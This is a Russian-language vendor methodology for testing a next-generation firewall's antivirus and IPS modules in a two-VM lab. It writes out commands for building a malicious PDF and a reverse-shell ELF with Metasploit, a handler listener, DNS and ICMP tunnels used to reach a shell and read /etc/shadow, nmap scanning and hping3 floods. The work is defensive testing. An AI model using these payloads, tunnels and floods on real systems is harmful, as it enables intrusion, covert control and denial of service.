“”/
 

Методология тестирования NGFW

Ложное чувство защищенности.
Как самостоятельно проверить периметр сети?

1.Введение

Защита периметра сети — одна из ключевых задач современного «безопасника». И при разговоре о безопасности сетевого трафика большинство людей сразу вспоминают про решения класса NGFW (Check Point, UserGate, Fortinet, Континент и т. д.). Многие полагаются на него как на единственный инструмент по защите периметра. Это весьма большое заблуждение, но обсуждение этой темы уже выходит за рамки нашего руководства.

Целью данного документа является формирование простой и доступной методики тестирования уровня защищённости вашего периметра сети. С помощью этой инструкции вы сможете самостоятельно проверить интересующий вас NGFW и оценить качество предотвращения или детектирования различных угроз ИБ.

Данная методика позволяет протестировать ключевые модули любого NGFW:
  • Antivirus (Потоковый антивирус)
  • IPS (Система предотвращения вторжений)

Все используемые инструменты бесплатны и находятся в открытом доступе.

Давайте начнём с краткого описания нашего тестового макета.

2.Описание макета

Для проведения тестирования NGFW нам потребуются две виртуальные машины и сам NGFW (он также может быть в виде виртуальной машины). Первая будет играть роль атакуемой машины, вторая — роль атакующей, а между ними будет находиться сам NGFW.
В качестве машины жертвы будем использовать Debian 11 (далее debian). На машине нашего условного злоумышленника будет использоваться Kali Linux (далее kali).

Теперь наша задача — соединить эти две машины так, чтобы трафик между ними проходил через NGFW. Для этого мы ставим его «между» ними и используем для маршрутизации пакетов между debian и kali.

Выдадим ip-адреса всем интерфейсам:
  • Debian — 192.168.2.1
  • Kali — 192.168.3.1
  • NGFW (два интерфейса): 192.168.2.254 и 192.168.3.254

Вы можете выбрать удобную для вас адресацию. Это не имеет значения.

3.Описание инструментов

Как уже обозначалось выше, для проведения тестирования мы будем использовать бесплатные и доступные всем инструменты:
  • Set Toolkit
  • Metasploit
  • Iodine
  • Hans
  • NMAP
  • hping3

Далее мы в подробностях опишем использование этих инструментов для тестирования ключевых модулей NGFW.

4.Проверка антивирусного модуля

Существует два основных способа проверки файла для потокового антивируса:

  • По hash-сумме (md5, sha256 и т. д.)
  • По сигнатуре

Первый способ меньше всего нагружает NGFW, но он также и обеспечивает менее качественную проверку загружаемых файлов. Одни решения в принципе не умеют осуществлять сигнатурный анализ на потоке трафика, а другие по умолчанию используют проверку по «хэшам» (а вот проверку по сигнатурам надо включать принудительно).

Ниже вы можете увидеть инструкцию по генерации нового вирусного файла, «хэш» которого еще нигде не был замечен. Так мы сможем проверить качество сигнатурного анализа у тестируемого NGFW.

Для этого мы будем использовать встроенный в kali инструмент: setoolkit.

4.1 Создание вирусного файла

В командной строке kali запускаем нужный инструмент:
sudo setoolkit

В открывшемся меню выбираем Social-Engineering Attacks (1)
А далее: Infectious Media Generator (3)
Затем выбираем File-Format Exploits (1)
Задаём адрес нашего kali.
После выбираем payload: Adobe PDF Embedded EXE Social Engineering (NOJS) (17)
Здесь мы можем выбрать свой pdf файл для заражения либо воспользоваться шаблоном, т. е. Use built-in BLANK PDF for attack (2):
И кликнуть на способ установки обратной связи Windows Meterpreter Reverse_TCP (2):
Понадобится немного времени для генерации файла. При этом будет запрошено ввести параметры LHOST и порт. Данные параметры не имеют значения, т.к. мы не будем пытаться заразить хост, а лишь проверим модуль антивируса.
По завершении операции вирусный файл будет лежать в папке /root/.set/autorun/. Отказываемся от создания listener-а (написав no). И выходим из setoolkit.

Скопируем файл в домашнюю директорию:

sudo cp /root/.set/autorun/template.pdf /home/user («user» нужно заменить на имя вашего пользователя в kali)

4.2 Проверка в VirusTotal

Проверим, что hash файла действительно новый и не детектируется как вирусный.

Для этого посчитаем hash-сумму:

md5sum template. pdf

И получившееся значение проверим в VirusTotal:
Как видим, вирус не детектируется.
Теперь проверим файл полностью и загрузим его на VirusTotal:
Как можно увидеть, 36 антивирусов из 62х определяют его как вирусный файл.

4.3 Тест антивируса на NGFW

Для проверки антивирусного модуля в NGFW необходимо «прокачать» через него только что созданный вирусный файл.

Для этого на виртуалке kali нужно зайти в папку (где находится файл) и запустить простейший веб-сервер:

python2.7 -m SimpleHTTPServer 8000

Теперь на компьютере жертвы (у нас это debian) необходимо подключиться к этому серверу и скачать файл ЧЕРЕЗ NGFW.

4.4 Ожидаемый результат

При правильной настройке NGFW (а также его способности работать с сигнатурным анализом) скачивание файла должно быть заблокировано, и в логах должна отразиться соответствующая зловредная активность.

Для чистоты эксперимента следует проделать такую же процедуру скачивания, но уже по https и с настроенной https-инспекцией на NGFW. Для этого можно использовать Яндекс Диск, Google Drive и т.д.

Если тест был провален, то рекомендуем обратиться к 6 главе с рекомендациями.

5.Проверка модуля IPS

Для тестирования модуля IPS мы будем использовать популярные техники злоумышленников.

А именно:
  • Reverse Shell. Инициация зараженным пользователем подключения к командному центру (C&C) для выполнения последующих инструкций (в том числе «докачка» дополнительного вредоносного ПО);
  • Туннелирование. Способ фиксации удаленного управления через разрешенные (чаще всего) в сети протоколы, такие как DNS, ICMP и т.д;
  • NMAP – сканирование. Способ получения информации о хосте;
  • UDP flood. Сетевая атака типа «отказ в обслуживании» использующая бессеансовый режим протокола UDP. Она носит цель заполнить канал и вызвать перегрузку хоста;
  • ICMP flood. Сетевая атака типа «отказ в обслуживании» на базе ICMP-запросов с целью заполнить канал и вызвать перегрузку хоста потоком поддельных запросов.

Далее мы подробно рассмотрим использование различных инструментов.

5.1 Reverse Shell

Атакуемая машина не всегда доступна для подключения из сети Интернет. Например: она находится за NAT и не имеет белого IP. Тут на помощь злоумышленникам приходят утилиты класса «Reverse shell».

Идея данной атаки состоит в исполнении следующих этапов:
  • Злоумышленник создает C&C сервер в прослушивающем режиме (в нашем примере — kali);
  • Злоумышленник каким-либо образом заставляет атакуемую машину подключиться к серверу управления. Это может происходить как в составе комбинированной атаки, когда атакуемый компьютер был заражен вредоносной утилитой, так и с помощью социальной инженерии;
  • После того как атакуемая машина подключается к управляющему серверу, на ней создается скрытая командная оболочка (в неё дублируются команды атакующего сервера).
Мы рассмотрим популярную утилиту, с помощью которой можно протестировать данный тип атаки: Metasploit.
5.1.1 Подготовка
Итак, сначала мы проходим через этап подготовки. Необходимо создать вредоносный исполняемый файл, который нужно будет запустить на атакуемой машине для установления подключения.

С этим нам поможет утилита msfvenom, входящая в состав Metasploit:

msfvenom -p <нагрузка> -f <формат> -o <путь>/<имя> <ключ=значение>

Опция -p определяет тип нагрузки, которую необходимо поместить в файл. Список всех возможных нагрузок и их краткое описание можно посмотреть с помощью команды msfvenom --list payloads.

Так как нам нужно создать reverse shell на debian с архитектурой x64, то необходимо выбрать нагрузку linux/x64/shell/reverse_tcp. Опция -f задает формат создаваемого файла.

Для наших целей подойдет формат исполняемых файлов .elf. Список всех доступных форматов можно посмотреть командой msfvenom --list formats.

С помощью опции -o можно указать, где и под каким именем сохранить создаваемый файл. Также необходимо указать параметры подключения. В переменной lhost передаем адрес, к которому необходимо выполнить подключение (адрес машины злоумышленника), а в переменной lport – порт подключения. Укажем адрес kali – 192.168.3.1 и выберем незанятый другими службами порт 3300.

msfvenom -p linux/x64/shell/reverse_tcp -f elf -o /home/kali/msf/payload.elf lhost=192.168.3.1 lport=3300
После того как исполняемый файл создан, необходимо убедиться, что этот файл может быть исполнен (при необходимости выдать соответствующие права командой chmod: chmod u+x payload. elf) и передать его на атакуемую машину. Это можно сделать любым удобным способом.

Мы используем scp:
scp /home/kali/msf/payload.elf user@192.168.2.1:/home/user/msf/payload.elf (ssh-порт должен быть открыт)
На этом подготовительная часть закончена.
5.1.2 Атака
Осталось провести атаку.

Для этого необходимо запустить командную строку Metasploit. Это можно сделать, выполнив команду msfconsole или запустив Metasploit Framework в меню приложений.
Сперва с помощью команды use выбираем модуль, который будем использовать для прослушивания порта и ожидания соединения со стороны атакуемой машины. Командами set <ключ> <значение> задаем параметры. Они должны совпадать с теми, что были указаны при создании файла с вредоносной нагрузкой.

Для начала прослушивания выполняем команду run:
  • use /exploit/multi/handler
  • set payload linux/x64/shell/reverse_tcp
  • set lhost 192.168.3.1
  • set lport 3300
  • run
Теперь нам осталось только запустить исполняемый файл на стороне жертвы. После чего на kali появится сообщение об успешном подключении и можно будет выполнять команды.
Ниже вы можете увидеть пример подключения зараженной машины с последующим выполнением команды ls:
Атака успешно реализована.

5.2 Туннелирование

Получив первоначальный доступ к зараженному хосту, злоумышленник попытается зафиксироваться. Как правило, это делается с помощью установки постоянно туннеля.

Использовать для этого явные инструменты типа IPSec или WireGuard не всегда возможно (они могут быть заблокированы с помощью тех же NGFW на периметре). А вот про классический DNS или ICMP весьма часто забывают. Их и используют для маскировки трафика злоумышленника.
5.2.1 DNS - туннель
Для построения DNS-туннеля мы будем использовать утилиту Iodine. Это простой инструмент для быстрой имитации успешной атаки.
5.2.1.1 Подготовка
Для начала скачиваем утилиту на обе машины и собираем исполняемые файлы:

git clone https://github.com/yarrick/iodine
cd iodine
make

После этого в текущей директории должен был появиться каталог bin, содержащий два исполняемых файла: iodine и iodined (клиент и сервер соответственно). Далее при рассмотрении утилиты iodine термины «клиент» и «сервер» будут употребляться в данном контексте.

На kali запускаем сервер:
./iodined -f -P <пароль> <ip-адрес> <домен>

После выполнения данной команды должен создаться виртуальный интерфейс с ip-адресом, указанным в команде, а также запуститься демон, прослушивающий порт 53. Этот демон и будет выполнять роль DNS-сервера и «резолвить» запросы по указанному домену. Опция -f указывает на то, что служба не должна выполняться в фоновом режиме.

То есть она останется «висеть» в терминальной сессии до тех пор, пока вы её не прервёте (Ctrl-C). Опция -P позволяет задать пароль для подключения к серверу в строке запуска утилиты. Без указания данной опции утилита потребует задать пароль в новой строке.

Зададим пароль «1234», выберем ip-адрес 192.168.5.1 и укажем домен dns.tun:

./iodined -f -P 1234 192.168.5.1dns.tun
Можем также заметить, что создался интерфейс dns0, и 53 порт прослушивается службой iodined.
5.2.1.2 Атака
На debian запускаем клиента:

./iodine -f -P <пароль> <ip-адрес dns-сервера> <домен>

После выполнения данной команды также должен создаваться виртуальный интерфейс, но при успешном подключении ip-адрес будет ему выдан автоматически. Пароль и домен указываются те, которые использовались при запуске сервера на kali.

Важно отметить, что ip-адрес, указываемый в данной команде, является ip-адресом интерфейса, с которым есть сетевая связность (он должен пинговаться). А не виртуального, созданного в результате запуска iodined.

Адрес DNS-сервера можно не указывать, если он находится в списке DNS-серверов (например: он был прописан в файле /etc/resolv.conf). Об этой и других особенностях и опциях можно узнать подробнее в файле README.md, который находится в установленном ранее каталоге с утилитой iodine.

Укажем заданный ранее на сервер пароль «1234», ip-адрес kali-машины 192.168.3.1 и домен dns.tun:

./iodine -f -P 1234 192.168.3.1dns.tun
Создался интерфейс dns0, которому был присвоен ip-адрес 192.168.5.2. Сообщение об этом можно также найти на выводе утилиты iodine (строка 7).
DNS-туннель установлен. Теперь мы можем осуществлять внутри него подключения, обращаясь к созданным виртуальным интерфейсам.

Например, можем подключиться по SSH с kali к debian.
Или, например, просто запустить пинг. При этом при прослушивании в Wireshark на kali интерфейса dns0 (192.168.5.1) мы увидим icmp пакеты, а вот на интерфейсе eth0 (192.168.3.1) видим уже DNS пакеты.
5.2.2 ICMP - туннель
Здесь мы будем использовать утилиту Hans, вдохновленную icmptx.

В список возможностей данной утилиты входят:
  • Hans может быть запущен в качестве клиента и сервера на Linux и на Mac OS X, iPhone/iPod touch, FreeBSD, OpenBSD и Windows только в качестве клиента;
  • Сервер Hans поддерживает 253 клиента, что соответствует количеству доступных IP-адресов в виртуальной подсети;
  • Упрощенная настройка: Hans автоматически назначает ip-адреса;
  • Базовая система безопасности при помощи построения туннеля по паролю;
  • Один и тот же файл используется как сервером, так и клиентом.
5.2.2.1 Подготовка
Первым делом необходимо скачать архив с утилитой:
  • Linux: https://github.com/friedrich/hans
  • Mac OS X: https://sourceforge.net/projects/hanstunnel/files/osx/
  • Windows: https://sourceforge.net/projects/hanstunnel/files/windows/
Предыдущие версии Hans можно найти на: https://sourceforge.net/projects/hanstunnel/files/source/

Установка
Перейдем непосредственно к установке. Для этого командой (*) установим утилиты для сборки.
  • apt install git, make, g++, net-tools

Далее необходимо скачать сам архив командой

  • git clone https://github.com/friedrich/hans
Затем собираем командой make.
Так как данный туннель работает с ICMP пакетами и hans не позволяет настраивать порт, нет нужды открывать порты (например: iodine (DNS-tun) или утилиты reverse shell), чтобы настроить кастомные порты подключения.

После скачивания и сборки утилиты она уже полностью готова к работе, и ничего более не нужно. Так, для запуска сервера необходимо прописать команду (*). В качестве адреса необходимо подставить желаемый.

  • ./hans -s 192.168.4.1 -p secret -f
5.2.2.2 Атака
Для клиента необходимо прописать (*). В данной команде указываемый адрес – это ip адрес сервера.

  • ./hans -c 192.168.3.1 -p secret -f
Необходимо также упомянуть использованные и доступные ключи:
  • -s - сервер
  • -c – клиент
  • -p – задание или ввод пароля (зависит от того, на чем прописывается ключ)
  • -f – режим ожидания (намного проще позже туннель убить)
  • -w – настройка количества отправляемых клиентом echo requests (по умолчанию 10. Задать меньше, если идет потеря пакетов. Задать больше для увеличения пропускной способности туннеля)
  • -q/-i – сервер указывает клиенту изменять echo id или порядковый номер при каждом запросе. При необходимости первым попробовать -q. Если не сработало -i;
  • -u – возможность запуска hans от имени другого пользователя;
  • -v – режим отладки;
  • -fv – совмещает функции -v и -f
Отдельно поговорим о ключе -r, который указывает hans отвечать на обычные ping’и.
Это необходимо в случае, когда брандмауэр фильтрует icmp-пакеты.

Для решения можно заблокировать ответы на echo requests. А для linux это можно сделать командой (*).
  • echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all.
После этого уже можно запустить hans с вышеупомянутым ключом.

Проверка
Проведем проверку созданного туннеля:
  • На сервере сформировался интерфейс с выданным нами адресом:
  • На клиенте сформировался новый интерфейс, которому был автоматически выдан адрес 192.168.4.100:
  • Проведя проверку подключения утилитой ping, выясняем, что соединение есть
  • Попробуем с сервера подключиться к клиенту через SSH и просмотреть /etc/shadow:
  • Подключение прошло успешно. Туннель работает.
Рассмотрим трафик, получаемый от hans.
При работе ICMP-туннеля можно заметить, что в каждом пакете, полученном от клиента, в начале поле data будет использоваться hanc, а в пакете от сервера – hans.

На этом построены некоторые средства защиты и распознавания работы данной утилиты.
На следующих скриншотах представлены ICMP-пакеты, содержащие полезную нагрузку в виде:

Передачи пароля на аутентификацию

Выполнения команды смены директории

Вывод имеющихся директорий

Вывод сообщения об успешном входе (и непрочитанном письме)

5.3 NMAP-сканирование

NMAP — это утилита с открытым исходным кодом для исследования сети и проверки безопасности. Она была разработана для быстрого сканирования больших сетей, хотя прекрасно справляется и с единичными целями.

NMAP использует «сырые» IP-пакеты оригинальным способом, чтобы определить:
  • какие хосты доступны в сетикакие службы (название приложения и версию) они предлагают
  • какие операционные системы (и версии ОС) они используют
  • какие типы пакетных фильтров/брандмауэров используются
  • и ещё множество других характеристик

В то время как NMAP обычно используется для проверки безопасности, многие системные администраторы находят её полезной для обычных задач. Таких как контролирование структуры сети, управление расписаниями запуска служб и учет времени работы хоста или службы
5.3.1 Атака
Т.к. NMAP является встроенной утилитой в Kali, то устанавливать дополнительно ничего не нужно.

Синтаксис выполнения команд выглядит следующим образом

nmap [ <Тип сканирования> ...] [ <Опции> ] { <цель сканирования> }

со списком всех опций можно ознакомиться на официальном портале NMAP

В рамках нашего тестирования мы запустим сканирование с опциями

nmap -sV -A 192.168.1.2
5.3.2 Ожидаемый результат
При правильной настройке NGFW мы не получим важной информации о жертве
Если NGFW не настроен на блокировку сканирования, то можно получить достаточно много информации:

5.4 UDP flood

Заключается в отправке множества UDP-пакетов на определённые или случайные номера портов удалённого хоста, который для каждого полученного пакета должен определить соответствующее приложение, убедиться в отсутствии его активности и отправить ответное ICMP-сообщение «адресат недоступен».

В итоге атакуемая система окажется перегруженной. В протоколе UDP механизм предотвращения перегрузок отсутствует, поэтому после начала атаки паразитный трафик быстро захватит всю доступную полосу пропускания, и полезному трафику останется лишь малая её часть.
5.4.1 Атака
Утилита hping3 является встроенной утилитой Kali Linux. Дополнительно устанавливать ничего не нужно, поэтому можем сразу провести атаку.

Мы будем использовать команду:

hping3 --flood --udp -p <port> <ip address>
5.4.2 Ожидаемый результат
При правильной настройке NGFW должен определить атаку и заблокировать (а в логах отражена соответствующая активность).

5.5 ICMP flood

5.5.1 Атака
Для реализации данной атаки также воспользуемся утилитой hping3, но уже с другими параметрами.
5.5.2 Ожидаемый результат
При правильной настройке NGFW должен определить атаку и заблокировать (а в логах отражена соответствующая активность).

5.6 Ожидаемый результат

При правильной настройке NGFW (а также его способности блокировать подобные атаки) все действия по удаленному управлению, построению туннелей, сканированию портов и «флуду» должны быть заблокированы, а в логах отражена соответствующая зловредная активность. Если тест был провален, обратитесь к главе с рекомендациями.

6.Рекомендации

Если ваш NGFW не смог увидеть или заблокировать перечисленные угрозы, это может быть серьезным поводом, чтобы задуматься об эффективности вашей защиты.

Вот ключевые рекомендации:
  • Проведите технический аудит вашего NGFW. Верно ли он настроен? Все ли защитные механизмы используются? При необходимости мы готовы с этим помочь!
  • Повысьте защищенность периметра за счет дополнительных средств защиты.

Ниже представлена референсная схема наиболее защищенной архитектуры корпоративной сети:
Если у вас остались вопросы по данной схеме, мы готовы обсудить их лично и поделиться нашим опытом.

Также прикладываем дополнительный чек-лист с рекомендациями по безопасности периметра сети:
1. Используется выделенное решение по защите почты;
2. Включена HTTPS инспекция;
3. Блокируются нежелательные ресурсы;
4. Блокируется скачивание исполняемых файлов;
5. Выполнена интеграция с «песочницей»;
6. Выполнено обновление и профилирование IPS;
7. Анализируются логи на предмет false positive;
8. Сформирована Geo Policy;
9. Запланированы регулярные проверки;
10. Используется NTA/NDR решение.

Остались вопросы?

Обучающие материалы по решениям класса NGFW на TS University